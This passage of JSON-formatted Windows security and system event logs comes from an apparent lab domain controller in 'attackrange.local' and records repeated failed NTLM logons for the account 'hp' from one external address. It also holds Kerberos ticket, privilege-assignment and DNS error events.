Name:\t\thp\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t64948\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"hp","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"64948","EventReceivedTime":"2020-08-07 11:50:19","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:18","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221546,"ProcessID":860,"ThreadID":100,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\thp\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t65094\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"hp","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"65094","EventReceivedTime":"2020-08-07 11:50:19","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:18","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221547,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\thp\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t65243\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"hp","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"65243","EventReceivedTime":"2020-08-07 11:50:19","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:18","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221548,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\thp\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t65321\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"hp","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"65321","EventReceivedTime":"2020-08-07 11:50:19","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":36028797018963968,"EventType":"ERROR","SeverityValue":4,"Severity":"ERROR","EventID":5774,"SourceName":"NETLOGON","Task":0,"RecordNumber":76815,"ProcessID":0,"ThreadID":0,"Channel":"System","Message":"The dynamic registration of the DNS record 'attackrange.local. 600 IN A 10.0.1.14' failed on the following DNS server: \r\n\r\nDNS server IP address: 10.0.1.14 \r\nReturned Response Code (RCODE): 0 \r\nReturned Status Code: 9502 \r\n\r\nFor computers and users to locate this domain controller, this record must be registered in DNS. \r\n\r\nUSER ACTION \r\nDetermine what might have caused this failure, resolve the problem, and initiate registration of the DNS records by the domain controller. To determine what might have caused this failure, run DCDiag.exe. To learn more about DCDiag.exe, see Help and Support Center. To initiate registration of the DNS records by this domain controller, run 'nltest.exe /dsregdns' from the command prompt on the domain controller or restart Net Logon service. \r\n Or, you can manually add this record to DNS, but it is not recommended. \r\n\r\nADDITIONAL DATA \r\nError Value: Bad DNS packet.","Opcode":"Info","EventReceivedTime":"2020-08-07 11:50:20","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:19","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221549,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\thp\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t65469\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"hp","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"65469","EventReceivedTime":"2020-08-07 11:50:20","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:19","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221550,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\thp\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t49196\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"hp","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"49196","EventReceivedTime":"2020-08-07 11:50:20","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:19","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9187343239835811840,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":7036,"SourceName":"Service Control Manager","ProviderGuid":"{555908D1-A6D7-4695-8E1E-26931D2012F4}","Version":0,"Task":0,"OpcodeValue":0,"RecordNumber":76816,"ProcessID":852,"ThreadID":1152,"Channel":"System","Message":"The DNS service entered the running state.","param1":"DNS","param2":"running","EventReceivedTime":"2020-08-07 11:50:20","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:19","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4768,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14339,"OpcodeValue":0,"RecordNumber":221551,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"A Kerberos authentication ticket (TGT) was requested.\r\n\r\nAccount Information:\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tSupplied Realm Name:\tATTACKRANGE.LOCAL\r\n\tUser ID:\t\t\tS-1-5-21-2899776527-1222892863-2568484180-1008\r\n\r\nService Information:\r\n\tService Name:\t\tkrbtgt\r\n\tService ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-502\r\n\r\nNetwork Information:\r\n\tClient Address:\t\t::1\r\n\tClient Port:\t\t0\r\n\r\nAdditional Information:\r\n\tTicket Options:\t\t0x40810010\r\n\tResult Code:\t\t0x0\r\n\tTicket Encryption Type:\t0x12\r\n\tPre-Authentication Type:\t2\r\n\r\nCertificate Information:\r\n\tCertificate Issuer Name:\t\t\r\n\tCertificate Serial Number:\t\r\n\tCertificate Thumbprint:\t\t\r\n\r\nCertificate information is only provided if a certificate was used for pre-authentication.\r\n\r\nPre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.","Category":"Kerberos Authentication Service","Opcode":"Info","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE.LOCAL","TargetSid":"S-1-5-21-2899776527-1222892863-2568484180-1008","ServiceName":"krbtgt","ServiceSid":"S-1-5-21-2899776527-1222892863-2568484180-502","TicketOptions":"0x40810010","Status":"0x0","TicketEncryptionType":"0x12","PreAuthType":"2","IpAddress":"::1","IpPort":"0","EventReceivedTime":"2020-08-07 11:50:20","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:19","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4768,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14339,"OpcodeValue":0,"RecordNumber":221552,"ProcessID":860,"ThreadID":3692,"Channel":"Security","Message":"A Kerberos authentication ticket (TGT) was requested.\r\n\r\nAccount Information:\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tSupplied Realm Name:\tATTACKRANGE.LOCAL\r\n\tUser ID:\t\t\tS-1-5-21-2899776527-1222892863-2568484180-1008\r\n\r\nService Information:\r\n\tService Name:\t\tkrbtgt\r\n\tService ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-502\r\n\r\nNetwork Information:\r\n\tClient Address:\t\t::1\r\n\tClient Port:\t\t0\r\n\r\nAdditional Information:\r\n\tTicket Options:\t\t0x40810010\r\n\tResult Code:\t\t0x0\r\n\tTicket Encryption Type:\t0x12\r\n\tPre-Authentication Type:\t2\r\n\r\nCertificate Information:\r\n\tCertificate Issuer Name:\t\t\r\n\tCertificate Serial Number:\t\r\n\tCertificate Thumbprint:\t\t\r\n\r\nCertificate information is only provided if a certificate was used for pre-authentication.\r\n\r\nPre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.","Category":"Kerberos Authentication Service","Opcode":"Info","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE.LOCAL","TargetSid":"S-1-5-21-2899776527-1222892863-2568484180-1008","ServiceName":"krbtgt","ServiceSid":"S-1-5-21-2899776527-1222892863-2568484180-502","TicketOptions":"0x40810010","Status":"0x0","TicketEncryptionType":"0x12","PreAuthType":"2","IpAddress":"::1","IpPort":"0","EventReceivedTime":"2020-08-07 11:50:20","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:19","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4769,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14337,"OpcodeValue":0,"RecordNumber":221553,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"A Kerberos service ticket was requested.\r\n\r\nAccount Information:\r\n\tAccount Name:\t\tWIN-DC-9849183$@ATTACKRANGE.LOCAL\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon GUID:\t\t{B11B6499-FBB4-DE79-D66D-40F026EBC7A0}\r\n\r\nService Information:\r\n\tService Name:\t\tWIN-DC-9849183$\r\n\tService ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-1008\r\n\r\nNetwork Information:\r\n\tClient Address:\t\t::1\r\n\tClient Port:\t\t0\r\n\r\nAdditional Information:\r\n\tTicket Options:\t\t0x40810000\r\n\tTicket Encryption Type:\t0x12\r\n\tFailure Code:\t\t0x0\r\n\tTransited Services:\t-\r\n\r\nThis event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested.\r\n\r\nThis event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.\r\n\r\nTicket options, encryption types, and failure codes are defined in RFC 4120.","Category":"Kerberos Service Ticket Operations","Opcode":"Info","TargetUserName":"WIN-DC-9849183$@ATTACKRANGE.LOCAL","TargetDomainName":"ATTACKRANGE.LOCAL","ServiceName":"WIN-DC-9849183$","ServiceSid":"S-1-5-21-2899776527-1222892863-2568484180-1008","TicketOptions":"0x40810000","TicketEncryptionType":"0x12","IpAddress":"::1","IpPort":"0","Status":"0x0","LogonGuid":"{B11B6499-FBB4-DE79-D66D-40F026EBC7A0}","TransmittedServices":"-","EventReceivedTime":"2020-08-07 11:50:20","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:19","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4769,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14337,"OpcodeValue":0,"RecordNumber":221554,"ProcessID":860,"ThreadID":3692,"Channel":"Security","Message":"A Kerberos service ticket was requested.\r\n\r\nAccount Information:\r\n\tAccount Name:\t\tWIN-DC-9849183$@ATTACKRANGE.LOCAL\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon GUID:\t\t{B11B6499-FBB4-DE79-D66D-40F026EBC7A0}\r\n\r\nService Information:\r\n\tService Name:\t\tWIN-DC-9849183$\r\n\tService ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-1008\r\n\r\nNetwork Information:\r\n\tClient Address:\t\t::1\r\n\tClient Port:\t\t0\r\n\r\nAdditional Information:\r\n\tTicket Options:\t\t0x40810000\r\n\tTicket Encryption Type:\t0x12\r\n\tFailure Code:\t\t0x0\r\n\tTransited Services:\t-\r\n\r\nThis event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested.\r\n\r\nThis event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.\r\n\r\nTicket options, encryption types, and failure codes are defined in RFC 4120.","Category":"Kerberos Service Ticket Operations","Opcode":"Info","TargetUserName":"WIN-DC-9849183$@ATTACKRANGE.LOCAL","TargetDomainName":"ATTACKRANGE.LOCAL","ServiceName":"WIN-DC-9849183$","ServiceSid":"S-1-5-21-2899776527-1222892863-2568484180-1008","TicketOptions":"0x40810000","TicketEncryptionType":"0x12","IpAddress":"::1","IpPort":"0","Status":"0x0","LogonGuid":"{B11B6499-FBB4-DE79-D66D-40F026EBC7A0}","TransmittedServices":"-","EventReceivedTime":"2020-08-07 11:50:20","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:19","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":221555,"ProcessID":860,"ThreadID":900,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3A30D\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3a30d","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","EventReceivedTime":"2020-08-07 11:50:20","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:19","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":221556,"ProcessID":860,"ThreadID":2064,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3A30C\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","Category":"Special 